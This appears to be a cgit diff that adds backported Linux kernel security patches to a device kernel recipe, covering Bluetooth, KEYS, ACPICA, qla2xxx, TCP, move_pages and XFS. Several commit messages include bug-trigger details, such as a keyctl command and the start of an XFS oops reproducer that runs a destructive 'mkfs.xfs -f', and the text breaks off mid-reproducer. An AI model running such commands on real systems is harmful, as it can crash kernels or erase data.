+cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0282.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0282.diff new file mode 100644 index 0000000..90928fd --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0282.diff @@ -0,0 +1,24 @@ +diff --git a/drivers/clocksource/arm_arch_timer.c b/drivers/clocksource/arm_arch_timer.c +index 5fb17fc..37c4b6c 100644 +--- a/drivers/clocksource/arm_arch_timer.c ++++ b/drivers/clocksource/arm_arch_timer.c +@@ -334,14 +334,15 @@ + { + u32 cntkctl = arch_timer_get_cntkctl(); + +- /* Disable user access to the timers */ ++ /* Disable user access to the timers and the physical counter */ + /* Also disable virtual event stream */ + cntkctl &= ~(ARCH_TIMER_USR_PT_ACCESS_EN + | ARCH_TIMER_USR_VT_ACCESS_EN +- | ARCH_TIMER_VIRT_EVT_EN); ++ | ARCH_TIMER_VIRT_EVT_EN ++ | ARCH_TIMER_USR_PCT_ACCESS_EN); + +- /* Enable user access to the virtual and physical counters */ +- cntkctl |= ARCH_TIMER_USR_VCT_ACCESS_EN | ARCH_TIMER_USR_PCT_ACCESS_EN; ++ /* Enable user access to the virtual counter */ ++ cntkctl |= ARCH_TIMER_USR_VCT_ACCESS_EN; + + arch_timer_set_cntkctl(cntkctl); + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0283.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0283.diff new file mode 100644 index 0000000..1da2618 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0283.diff @@ -0,0 +1,35 @@ +diff --git a/drivers/clocksource/Kconfig b/drivers/clocksource/Kconfig +index 9042060..497b2f5 100644 +--- a/drivers/clocksource/Kconfig ++++ b/drivers/clocksource/Kconfig +@@ -110,6 +110,14 @@ + This must be disabled for hardware validation purposes to detect any + hardware anomalies of missing events. + ++config ARM_ARCH_TIMER_VCT_ACCESS ++ bool "Support for ARM architected timer virtual counter access in userspace" ++ default n ++ depends on ARM_ARCH_TIMER ++ help ++ This option enables support for reading the ARM architected timer's ++ virtual counter in userspace. ++ + config ARM_GLOBAL_TIMER + bool + select CLKSRC_OF if OF +diff --git a/drivers/clocksource/arm_arch_timer.c b/drivers/clocksource/arm_arch_timer.c +index 37c4b6c..1c3d0c5 100644 +--- a/drivers/clocksource/arm_arch_timer.c ++++ b/drivers/clocksource/arm_arch_timer.c +@@ -342,7 +342,10 @@ + | ARCH_TIMER_USR_PCT_ACCESS_EN); + + /* Enable user access to the virtual counter */ +- cntkctl |= ARCH_TIMER_USR_VCT_ACCESS_EN; ++ if (IS_ENABLED(CONFIG_ARM_ARCH_TIMER_VCT_ACCESS)) ++ cntkctl |= ARCH_TIMER_USR_VCT_ACCESS_EN; ++ else ++ cntkctl &= ~ARCH_TIMER_USR_VCT_ACCESS_EN; + + arch_timer_set_cntkctl(cntkctl); + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0284-17db761255f9-UPSTREAM arm64 Add macros to readwrite system registers.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0284-17db761255f9-UPSTREAM arm64 Add macros to readwrite system registers.patch new file mode 100644 index 0000000..3d71ad4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0284-17db761255f9-UPSTREAM arm64 Add macros to readwrite system registers.patch @@ -0,0 +1,75 @@ +From 17db761255f92491df05a7ba267d1f4043633fda Mon Sep 17 00:00:00 2001 +From: Mark Rutland +Date: Thu, 5 Nov 2015 15:09:17 +0000 +Subject: UPSTREAM: arm64: Add macros to read/write system registers + +Rather than crafting custom macros for reading/writing each system +register provide generics accessors, read_sysreg and write_sysreg, for +this purpose. + +Signed-off-by: Mark Rutland +Acked-by: Catalin Marinas +Cc: Suzuki Poulose +Cc: Will Deacon +Signed-off-by: Marc Zyngier + +Bug: 31432001 +Change-Id: I4ecb62f47fa25727e55f8d7a0349c1e24f915832 +(cherry picked from commit 3600c2fdc09a43a30909743569e35a29121602ed) +Signed-off-by: Sami Tolvanen +Git-commit: 4b85ba5b626176e6f11690a2c8f8c172e66d9ce6 +Git-repo: https://git.linaro.org/kernel/linux-linaro-stable +Signed-off-by: Neeraj Upadhyay +--- + arch/arm64/include/asm/sysreg.h | 21 +++++++++++++++++++++ + 1 file changed, 21 insertions(+) + +diff --git a/arch/arm64/include/asm/sysreg.h b/arch/arm64/include/asm/sysreg.h +index a7f3d4b..a6a4e15 100644 +--- a/arch/arm64/include/asm/sysreg.h ++++ b/arch/arm64/include/asm/sysreg.h +@@ -20,6 +20,8 @@ + #ifndef __ASM_SYSREG_H + #define __ASM_SYSREG_H + ++#include ++ + #include + + #define SCTLR_EL1_CP15BEN (0x1 << 5) +@@ -61,6 +63,8 @@ + + #else + ++#include ++ + asm( + " .irp num,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30\n" + " .equ __reg_num_x\\num, \\num\n" +@@ -85,6 +89,23 @@ static inline void config_sctlr_el1(u32 clear, u32 set) + val |= set; + asm volatile("msr sctlr_el1, %0" : : "r" (val)); + } ++ ++/* ++ * Unlike read_cpuid, calls to read_sysreg are never expected to be ++ * optimized away or replaced with synthetic values. ++ */ ++#define read_sysreg(r) ({ \ ++ u64 __val; \ ++ asm volatile("mrs %0, " __stringify(r) : "=r" (__val)); \ ++ __val; \ ++}) ++ ++#define write_sysreg(v, r) do { \ ++ u64 __val = (u64)v; \ ++ asm volatile("msr " __stringify(r) ", %0" \ ++ : : "r" (__val)); \ ++} while (0) ++ + #endif + + #endif /* __ASM_SYSREG_H */ +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0285-51bda2bca53b-Bluetooth hidpconnectionadd unsafe use of l2cappi.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0285-51bda2bca53b-Bluetooth hidpconnectionadd unsafe use of l2cappi.patch new file mode 100644 index 0000000..3702b59 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0285-51bda2bca53b-Bluetooth hidpconnectionadd unsafe use of l2cappi.patch @@ -0,0 +1,36 @@ +From 51bda2bca53b265715ca1852528f38dc67429d9a Mon Sep 17 00:00:00 2001 +From: Al Viro +Date: Fri, 19 Dec 2014 06:20:57 +0000 +Subject: Bluetooth: hidp_connection_add() unsafe use of l2cap_pi() + +it's OK after we'd verified the sockets, but not before that. + +Signed-off-by: Al Viro +Signed-off-by: Marcel Holtmann +--- + net/bluetooth/hidp/core.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/net/bluetooth/hidp/core.c b/net/bluetooth/hidp/core.c +index cc25d0b74b36..07348e142f16 100644 +--- a/net/bluetooth/hidp/core.c ++++ b/net/bluetooth/hidp/core.c +@@ -1314,13 +1314,14 @@ int hidp_connection_add(struct hidp_connadd_req *req, + { + struct hidp_session *session; + struct l2cap_conn *conn; +- struct l2cap_chan *chan = l2cap_pi(ctrl_sock->sk)->chan; ++ struct l2cap_chan *chan; + int ret; + + ret = hidp_verify_sockets(ctrl_sock, intr_sock); + if (ret) + return ret; + ++ chan = l2cap_pi(ctrl_sock->sk)->chan; + conn = NULL; + l2cap_chan_lock(chan); + if (chan->conn) +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0286.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0286.diff new file mode 100644 index 0000000..81039a3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0286.diff @@ -0,0 +1,15 @@ +diff --git a/net/core/iovec.c b/net/core/iovec.c +index e1ec45a..4c3fd58 100644 +--- a/net/core/iovec.c ++++ b/net/core/iovec.c +@@ -88,6 +88,10 @@ + __wsum csum = *csump; + int partial_cnt = 0, err = 0; + ++ /* No data? Done! */ ++ if (len == 0) ++ return 0; ++ + /* Skip over the finished iovecs */ + while (offset >= iov->iov_len) { + offset -= iov->iov_len; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0287-99a223bcec50-KEYS encrypted fix buffer overread in validmasterdesc.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0287-99a223bcec50-KEYS encrypted fix buffer overread in validmasterdesc.patch new file mode 100644 index 0000000..a5f5ab0 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0287-99a223bcec50-KEYS encrypted fix buffer overread in validmasterdesc.patch @@ -0,0 +1,70 @@ +From 99a223bcec506dbd8de7aa3c16995b71d3ca7bb6 Mon Sep 17 00:00:00 2001 +From: Eric Biggers +Date: Thu, 8 Jun 2017 14:48:18 +0100 +Subject: KEYS: encrypted: fix buffer overread in valid_master_desc() + +commit 794b4bc292f5d31739d89c0202c54e7dc9bc3add upstream. + +With the 'encrypted' key type it was possible for userspace to provide a +data blob ending with a master key description shorter than expected, +e.g. 'keyctl add encrypted desc "new x" @s'. When validating such a +master key description, validate_master_desc() could read beyond the end +of the buffer. Fix this by using strncmp() instead of memcmp(). [Also +clean up the code to deduplicate some logic.] + +Cc: Mimi Zohar +Signed-off-by: Eric Biggers +Signed-off-by: David Howells +Signed-off-by: James Morris +Signed-off-by: Jin Qian +Signed-off-by: Greg Kroah-Hartman +--- + security/keys/encrypted-keys/encrypted.c | 31 +++++++++++++++---------------- + 1 file changed, 15 insertions(+), 16 deletions(-) + +diff --git a/security/keys/encrypted-keys/encrypted.c b/security/keys/encrypted-keys/encrypted.c +index 89d5695c51cde..20251ee5c491c 100644 +--- a/security/keys/encrypted-keys/encrypted.c ++++ b/security/keys/encrypted-keys/encrypted.c +@@ -141,23 +141,22 @@ static int valid_ecryptfs_desc(const char *ecryptfs_desc) + */ + static int valid_master_desc(const char *new_desc, const char *orig_desc) + { +- if (!memcmp(new_desc, KEY_TRUSTED_PREFIX, KEY_TRUSTED_PREFIX_LEN)) { +- if (strlen(new_desc) == KEY_TRUSTED_PREFIX_LEN) +- goto out; +- if (orig_desc) +- if (memcmp(new_desc, orig_desc, KEY_TRUSTED_PREFIX_LEN)) +- goto out; +- } else if (!memcmp(new_desc, KEY_USER_PREFIX, KEY_USER_PREFIX_LEN)) { +- if (strlen(new_desc) == KEY_USER_PREFIX_LEN) +- goto out; +- if (orig_desc) +- if (memcmp(new_desc, orig_desc, KEY_USER_PREFIX_LEN)) +- goto out; +- } else +- goto out; ++ int prefix_len; ++ ++ if (!strncmp(new_desc, KEY_TRUSTED_PREFIX, KEY_TRUSTED_PREFIX_LEN)) ++ prefix_len = KEY_TRUSTED_PREFIX_LEN; ++ else if (!strncmp(new_desc, KEY_USER_PREFIX, KEY_USER_PREFIX_LEN)) ++ prefix_len = KEY_USER_PREFIX_LEN; ++ else ++ return -EINVAL; ++ ++ if (!new_desc[prefix_len]) ++ return -EINVAL; ++ ++ if (orig_desc && strncmp(new_desc, orig_desc, prefix_len)) ++ return -EINVAL; ++ + return 0; +-out: +- return -EINVAL; + } + + /* +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0288.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0288.diff new file mode 100644 index 0000000..a17bb76 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0288.diff @@ -0,0 +1,34 @@ +diff --git a/drivers/acpi/acpica/dsutils.c b/drivers/acpi/acpica/dsutils.c +index 0dabd9b..2c8a060 100644 +--- a/drivers/acpi/acpica/dsutils.c ++++ b/drivers/acpi/acpica/dsutils.c +@@ -705,6 +705,8 @@ acpi_ds_create_operands(struct acpi_walk_state *walk_state, + union acpi_parse_object *arguments[ACPI_OBJ_NUM_OPERANDS]; + u32 arg_count = 0; + u32 index = walk_state->num_operands; ++ u32 prev_num_operands = walk_state->num_operands; ++ u32 new_num_operands; + u32 i; + + ACPI_FUNCTION_TRACE_PTR(ds_create_operands, first_arg); +@@ -733,6 +735,7 @@ acpi_ds_create_operands(struct acpi_walk_state *walk_state, + + /* Create the interpreter arguments, in reverse order */ + ++ new_num_operands = index; + index--; + for (i = 0; i < arg_count; i++) { + arg = arguments[index]; +@@ -757,7 +760,11 @@ acpi_ds_create_operands(struct acpi_walk_state *walk_state, + * pop everything off of the operand stack and delete those + * objects + */ +- acpi_ds_obj_stack_pop_and_delete(arg_count, walk_state); ++ walk_state->num_operands = i; ++ acpi_ds_obj_stack_pop_and_delete(new_num_operands, walk_state); ++ ++ /* Restore operand count */ ++ walk_state->num_operands = prev_num_operands; + + ACPI_EXCEPTION((AE_INFO, status, "While creating Arg %u", index)); + return_ACPI_STATUS(status); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0289.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0289.diff new file mode 100644 index 0000000..cfacbd0 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0289.diff @@ -0,0 +1,92 @@ +diff --git a/drivers/acpi/acpica/psobject.c b/drivers/acpi/acpica/psobject.c +index 5bcb618..4539391 100644 +--- a/drivers/acpi/acpica/psobject.c ++++ b/drivers/acpi/acpica/psobject.c +@@ -608,7 +608,8 @@ acpi_status + acpi_ps_complete_final_op(struct acpi_walk_state *walk_state, + union acpi_parse_object *op, acpi_status status) + { +- acpi_status status2; ++ acpi_status return_status = AE_OK; ++ u8 ascending = TRUE; + + ACPI_FUNCTION_TRACE_PTR(ps_complete_final_op, walk_state); + +@@ -622,7 +623,8 @@ acpi_ps_complete_final_op(struct acpi_walk_state *walk_state, + op)); + do { + if (op) { +- if (walk_state->ascending_callback != NULL) { ++ if (ascending && ++ walk_state->ascending_callback != NULL) { + walk_state->op = op; + walk_state->op_info = + acpi_ps_get_opcode_info(op->common. +@@ -644,49 +646,26 @@ acpi_ps_complete_final_op(struct acpi_walk_state *walk_state, + } + + if (status == AE_CTRL_TERMINATE) { +- status = AE_OK; +- +- /* Clean up */ +- do { +- if (op) { +- status2 = +- acpi_ps_complete_this_op +- (walk_state, op); +- if (ACPI_FAILURE +- (status2)) { +- return_ACPI_STATUS +- (status2); +- } +- } +- +- acpi_ps_pop_scope(& +- (walk_state-> +- parser_state), +- &op, +- &walk_state-> +- arg_types, +- &walk_state-> +- arg_count); +- +- } while (op); +- +- return_ACPI_STATUS(status); ++ ascending = FALSE; ++ return_status = AE_CTRL_TERMINATE; + } + + else if (ACPI_FAILURE(status)) { + + /* First error is most important */ + +- (void) +- acpi_ps_complete_this_op(walk_state, +- op); +- return_ACPI_STATUS(status); ++ ascending = FALSE; ++ return_status = status; + } + } + +- status2 = acpi_ps_complete_this_op(walk_state, op); +- if (ACPI_FAILURE(status2)) { +- return_ACPI_STATUS(status2); ++ status = acpi_ps_complete_this_op(walk_state, op); ++ if (ACPI_FAILURE(status)) { ++ ascending = FALSE; ++ if (ACPI_SUCCESS(return_status) || ++ return_status == AE_CTRL_TERMINATE) { ++ return_status = status; ++ } + } + } + +@@ -696,5 +675,5 @@ acpi_ps_complete_final_op(struct acpi_walk_state *walk_state, + + } while (op); + +- return_ACPI_STATUS(status); ++ return_ACPI_STATUS(return_status); + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0290-c81492260a22-ACPICA acpi acpica fix acpi operand cache leak in nsevalc.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0290-c81492260a22-ACPICA acpi acpica fix acpi operand cache leak in nsevalc.patch new file mode 100644 index 0000000..efab739 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0290-c81492260a22-ACPICA acpi acpica fix acpi operand cache leak in nsevalc.patch @@ -0,0 +1,94 @@ +From c81492260a2202dcea658087b5dd1b319f59bbf0 Mon Sep 17 00:00:00 2001 +From: Seunghun Han +Date: Wed, 14 Mar 2018 16:12:56 -0700 +Subject: ACPICA: acpi: acpica: fix acpi operand cache leak in nseval.c + +[ Upstream commit 97f3c0a4b0579b646b6b10ae5a3d59f0441cc12c ] + +I found an ACPI cache leak in ACPI early termination and boot continuing case. + +When early termination occurs due to malicious ACPI table, Linux kernel +terminates ACPI function and continues to boot process. While kernel terminates +ACPI function, kmem_cache_destroy() reports Acpi-Operand cache leak. + +Boot log of ACPI operand cache leak is as follows: +>[ 0.464168] ACPI: Added _OSI(Module Device) +>[ 0.467022] ACPI: Added _OSI(Processor Device) +>[ 0.469376] ACPI: Added _OSI(3.0 _SCP Extensions) +>[ 0.471647] ACPI: Added _OSI(Processor Aggregator Device) +>[ 0.477997] ACPI Error: Null stack entry at ffff880215c0aad8 (20170303/exresop-174) +>[ 0.482706] ACPI Exception: AE_AML_INTERNAL, While resolving operands for [opcode_name unavailable] (20170303/dswexec-461) +>[ 0.487503] ACPI Error: Method parse/execution failed [\DBG] (Node ffff88021710ab40), AE_AML_INTERNAL (20170303/psparse-543) +>[ 0.492136] ACPI Error: Method parse/execution failed [\_SB._INI] (Node ffff88021710a618), AE_AML_INTERNAL (20170303/psparse-543) +>[ 0.497683] ACPI: Interpreter enabled +>[ 0.499385] ACPI: (supports S0) +>[ 0.501151] ACPI: Using IOAPIC for interrupt routing +>[ 0.503342] ACPI Error: Null stack entry at ffff880215c0aad8 (20170303/exresop-174) +>[ 0.506522] ACPI Exception: AE_AML_INTERNAL, While resolving operands for [opcode_name unavailable] (20170303/dswexec-461) +>[ 0.510463] ACPI Error: Method parse/execution failed [\DBG] (Node ffff88021710ab40), AE_AML_INTERNAL (20170303/psparse-543) +>[ 0.514477] ACPI Error: Method parse/execution failed [\_PIC] (Node ffff88021710ab18), AE_AML_INTERNAL (20170303/psparse-543) +>[ 0.518867] ACPI Exception: AE_AML_INTERNAL, Evaluating _PIC (20170303/bus-991) +>[ 0.522384] kmem_cache_destroy Acpi-Operand: Slab cache still has objects +>[ 0.524597] CPU: 1 PID: 1 Comm: swapper/0 Not tainted 4.12.0-rc5 #26 +>[ 0.526795] Hardware name: innotek gmb_h virtual_box/virtual_box, BIOS virtual_box 12/01/2006 +>[ 0.529668] Call Trace: +>[ 0.530811] ? dump_stack+0x5c/0x81 +>[ 0.532240] ? kmem_cache_destroy+0x1aa/0x1c0 +>[ 0.533905] ? acpi_os_delete_cache+0xa/0x10 +>[ 0.535497] ? acpi_ut_delete_caches+0x3f/0x7b +>[ 0.537237] ? acpi_terminate+0xa/0x14 +>[ 0.538701] ? acpi_init+0x2af/0x34f +>[ 0.540008] ? acpi_sleep_proc_init+0x27/0x27 +>[ 0.541593] ? do_one_initcall+0x4e/0x1a0 +>[ 0.543008] ? kernel_init_freeable+0x19e/0x21f +>[ 0.546202] ? rest_init+0x80/0x80 +>[ 0.547513] ? kernel_init+0xa/0x100 +>[ 0.548817] ? ret_from_fork+0x25/0x30 +>[ 0.550587] vgaarb: loaded +>[ 0.551716] EDAC MC: Ver: 3.0.0 +>[ 0.553744] PCI: Probing PCI hardware +>[ 0.555038] PCI host bridge to bus 0000:00 +> ... Continue to boot and log is omitted ... + +I analyzed this memory leak in detail and found acpi_ns_evaluate() function +only removes Info->return_object in AE_CTRL_RETURN_VALUE case. But, when errors +occur, the status value is not AE_CTRL_RETURN_VALUE, and Info->return_object is +also not null. Therefore, this causes acpi operand memory leak. + +This cache leak causes a security threat because an old kernel (<= 4.9) shows +memory locations of kernel functions in stack dump. Some malicious users +could use this information to neutralize kernel ASLR. + +I made a patch to fix ACPI operand cache leak. + +Signed-off-by: Seunghun Han +Signed-off-by: Erik Schmauss +Signed-off-by: Rafael J. Wysocki +Signed-off-by: Sasha Levin +Signed-off-by: Greg Kroah-Hartman +--- + drivers/acpi/acpica/nseval.c | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/drivers/acpi/acpica/nseval.c b/drivers/acpi/acpica/nseval.c +index e634a05974db..1358c701883b 100644 +--- a/drivers/acpi/acpica/nseval.c ++++ b/drivers/acpi/acpica/nseval.c +@@ -308,6 +308,14 @@ acpi_status acpi_ns_evaluate(struct acpi_evaluate_info *info) + /* Map AE_CTRL_RETURN_VALUE to AE_OK, we are done with it */ + + status = AE_OK; ++ } else if (ACPI_FAILURE(status)) { ++ ++ /* If return_object exists, delete it */ ++ ++ if (info->return_object) { ++ acpi_ut_remove_reference(info->return_object); ++ info->return_object = NULL; ++ } + } + + ACPI_DEBUG_PRINT((ACPI_DB_NAMES, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0291-78d88643d218-scsi qla2xxx Fix an integer overflow in sysfs code.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0291-78d88643d218-scsi qla2xxx Fix an integer overflow in sysfs code.patch new file mode 100644 index 0000000..47472d4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0291-78d88643d218-scsi qla2xxx Fix an integer overflow in sysfs code.patch @@ -0,0 +1,64 @@ +From 78d88643d218fccb0fcf7fa957e785d4048e35cb Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Wed, 30 Aug 2017 16:30:35 +0300 +Subject: scsi: qla2xxx: Fix an integer overflow in sysfs code + +commit e6f77540c067b48dee10f1e33678415bfcc89017 upstream. + +The value of "size" comes from the user. When we add "start + size" it +could lead to an integer overflow bug. + +It means we vmalloc() a lot more memory than we had intended. I believe +that on 64 bit systems vmalloc() can succeed even if we ask it to +allocate huge 4GB buffers. So we would get memory corruption and likely +a crash when we call ha->isp_ops->write_optrom() and ->read_optrom(). + +Only root can trigger this bug. + +Link: https://bugzilla.kernel.org/show_bug.cgi?id=194061 + +Fixes: b7cc176c9eb3 ("[SCSI] qla2xxx: Allow region-based flash-part accesses.") +Reported-by: shqking +Signed-off-by: Dan Carpenter +Signed-off-by: Martin K. Petersen +Signed-off-by: Greg Kroah-Hartman +--- + drivers/scsi/qla2xxx/qla_attr.c | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +diff --git a/drivers/scsi/qla2xxx/qla_attr.c b/drivers/scsi/qla2xxx/qla_attr.c +index c1b2e86839ae..e9cd3013dcd0 100644 +--- a/drivers/scsi/qla2xxx/qla_attr.c ++++ b/drivers/scsi/qla2xxx/qla_attr.c +@@ -404,6 +404,8 @@ qla2x00_sysfs_write_optrom_ctl(struct file *filp, struct kobject *kobj, + return -EINVAL; + if (start > ha->optrom_size) + return -EINVAL; ++ if (size > ha->optrom_size - start) ++ size = ha->optrom_size - start; + + mutex_lock(&ha->optrom_mutex); + switch (val) { +@@ -429,8 +431,7 @@ qla2x00_sysfs_write_optrom_ctl(struct file *filp, struct kobject *kobj, + } + + ha->optrom_region_start = start; +- ha->optrom_region_size = start + size > ha->optrom_size ? +- ha->optrom_size - start : size; ++ ha->optrom_region_size = start + size; + + ha->optrom_state = QLA_SREADING; + ha->optrom_buffer = vmalloc(ha->optrom_region_size); +@@ -503,8 +504,7 @@ qla2x00_sysfs_write_optrom_ctl(struct file *filp, struct kobject *kobj, + } + + ha->optrom_region_start = start; +- ha->optrom_region_size = start + size > ha->optrom_size ? +- ha->optrom_size - start : size; ++ ha->optrom_region_size = start + size; + + ha->optrom_state = QLA_SWRITING; + ha->optrom_buffer = vmalloc(ha->optrom_region_size); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0292-1722ca90e1b8-tcp initialize rcvmss to TCPMINMSS instead of 0.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0292-1722ca90e1b8-tcp initialize rcvmss to TCPMINMSS instead of 0.patch new file mode 100644 index 0000000..f38ccc7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0292-1722ca90e1b8-tcp initialize rcvmss to TCPMINMSS instead of 0.patch @@ -0,0 +1,42 @@ +From 1722ca90e1b88e6b7f0824908828e2462d7405ac Mon Sep 17 00:00:00 2001 +From: Wei Wang +Date: Thu, 18 May 2017 11:22:33 -0700 +Subject: tcp: initialize rcv_mss to TCP_MIN_MSS instead of 0 + +[ Upstream commit 499350a5a6e7512d9ed369ed63a4244b6536f4f8 ] + +When tcp_disconnect() is called, inet_csk_delack_init() sets +icsk->icsk_ack.rcv_mss to 0. +This could potentially cause tcp_recvmsg() => tcp_cleanup_rbuf() => +__tcp_select_window() call path to have division by 0 issue. +So this patch initializes rcv_mss to TCP_MIN_MSS instead of 0. + +Reported-by: Andrey Konovalov +Signed-off-by: Wei Wang +Signed-off-by: Eric Dumazet +Signed-off-by: Neal Cardwell +Signed-off-by: Yuchung Cheng +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/ipv4/tcp.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/net/ipv4/tcp.c b/net/ipv4/tcp.c +index 458a4c046784..567f8860e722 100644 +--- a/net/ipv4/tcp.c ++++ b/net/ipv4/tcp.c +@@ -2265,6 +2265,10 @@ int tcp_disconnect(struct sock *sk, int flags) + tcp_set_ca_state(sk, TCP_CA_Open); + tcp_clear_retrans(tp); + inet_csk_delack_init(sk); ++ /* Initialize rcv_mss to TCP_MIN_MSS to avoid division by 0 ++ * issue in __tcp_select_window() ++ */ ++ icsk->icsk_ack.rcv_mss = TCP_MIN_MSS; + tcp_init_send_head(sk); + memset(&tp->rx_opt, 0, sizeof(tp->rx_opt)); + __sk_dst_reset(sk); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0293-8cf95002f0c9-Sanitize movepages permission checks.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0293-8cf95002f0c9-Sanitize movepages permission checks.patch new file mode 100644 index 0000000..1c76a27 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0293-8cf95002f0c9-Sanitize movepages permission checks.patch @@ -0,0 +1,76 @@ +From 8cf95002f0c9afe06fa1e4b9ebb0e10a77c481b1 Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Sun, 20 Aug 2017 13:26:27 -0700 +Subject: Sanitize 'move_pages()' permission checks + +commit 197e7e521384a23b9e585178f3f11c9fa08274b9 upstream. + +The 'move_paghes()' system call was introduced long long ago with the +same permission checks as for sending a signal (except using +CAP_SYS_NICE instead of CAP_SYS_KILL for the overriding capability). + +That turns out to not be a great choice - while the system call really +only moves physical page allocations around (and you need other +capabilities to do a lot of it), you can check the return value to map +out some the virtual address choices and defeat ASLR of a binary that +still shares your uid. + +So change the access checks to the more common 'ptrace_may_access()' +model instead. + +This tightens the access checks for the uid, and also effectively +changes the CAP_SYS_NICE check to CAP_SYS_PTRACE, but it's unlikely that +anybody really _uses_ this legacy system call any more (we hav ebetter +NUMA placement models these days), so I expect nobody to notice. + +Famous last words. + +Reported-by: Otto Ebeling +Acked-by: Eric W. Biederman +Cc: Willy Tarreau +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + mm/migrate.c | 11 +++-------- + 1 file changed, 3 insertions(+), 8 deletions(-) + +diff --git a/mm/migrate.c b/mm/migrate.c +index 3594defceff9..4d743bce5a23 100644 +--- a/mm/migrate.c ++++ b/mm/migrate.c +@@ -37,6 +37,7 @@ + #include + #include + #include ++#include + + #include + +@@ -1468,7 +1469,6 @@ SYSCALL_DEFINE6(move_pages, pid_t, pid, unsigned long, nr_pages, + const int __user *, nodes, + int __user *, status, int, flags) + { +- const struct cred *cred = current_cred(), *tcred; + struct task_struct *task; + struct mm_struct *mm; + int err; +@@ -1492,14 +1492,9 @@ SYSCALL_DEFINE6(move_pages, pid_t, pid, unsigned long, nr_pages, + + /* + * Check if this process has the right to modify the specified +- * process. The right exists if the process has administrative +- * capabilities, superuser privileges or the same +- * userid as the target process. ++ * process. Use the regular "ptrace_may_access()" checks. + */ +- tcred = __task_cred(task); +- if (!uid_eq(cred->euid, tcred->suid) && !uid_eq(cred->euid, tcred->uid) && +- !uid_eq(cred->uid, tcred->suid) && !uid_eq(cred->uid, tcred->uid) && +- !capable(CAP_SYS_NICE)) { ++ if (!ptrace_may_access(task, PTRACE_MODE_READ_REALCREDS)) { + rcu_read_unlock(); + err = -EPERM; + goto out; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0294-b766f0849a52-xfs XFSISREALTIMEINODE should be false if no rt device present.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0294-b766f0849a52-xfs XFSISREALTIMEINODE should be false if no rt device present.patch new file mode 100644 index 0000000..1ef080d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0294-b766f0849a52-xfs XFSISREALTIMEINODE should be false if no rt device present.patch @@ -0,0 +1,73 @@ +From b766f0849a52e235268f362b7d8ec8bc36cdc7f0 Mon Sep 17 00:00:00 2001 +From: Richard Wareing +Date: Wed, 13 Sep 2017 09:09:35 +1000 +Subject: xfs: XFS_IS_REALTIME_INODE() should be false if no rt device present + +commit b31ff3cdf540110da4572e3e29bd172087af65cc upstream. + +If using a kernel with CONFIG_XFS_RT=y and we set the RHINHERIT flag on +a directory in a filesystem that does not have a realtime device and +create a new file in that directory, it gets marked as a real time file. +When data is written and a fsync is issued, the filesystem attempts to +flush a non-existent rt device during the fsync process. + +This results in a crash dereferencing a null buftarg pointer in +xfs_blkdev_issue_flush(): + + BUG: unable to handle kernel NULL pointer dereference at 0000000000000008 + IP: xfs_blkdev_issue_flush+0xd/0x20 + ..... + Call Trace: + xfs_file_fsync+0x188/0x1c0 + vfs_fsync_range+0x3b/0xa0 + do_fsync+0x3d/0x70 + SyS_fsync+0x10/0x20 + do_syscall_64+0x4d/0xb0 + entry_SYSCALL64_slow_path+0x25/0x25 + +Setting RT inode flags does not require special privileges so any +unprivileged user can cause this oops to occur. To reproduce, confirm +kernel is compiled with CONFIG_XFS_RT=y and run: + + # mkfs.xfs -f /dev/pmem0 + # mount /dev/pmem0 /mnt/test + 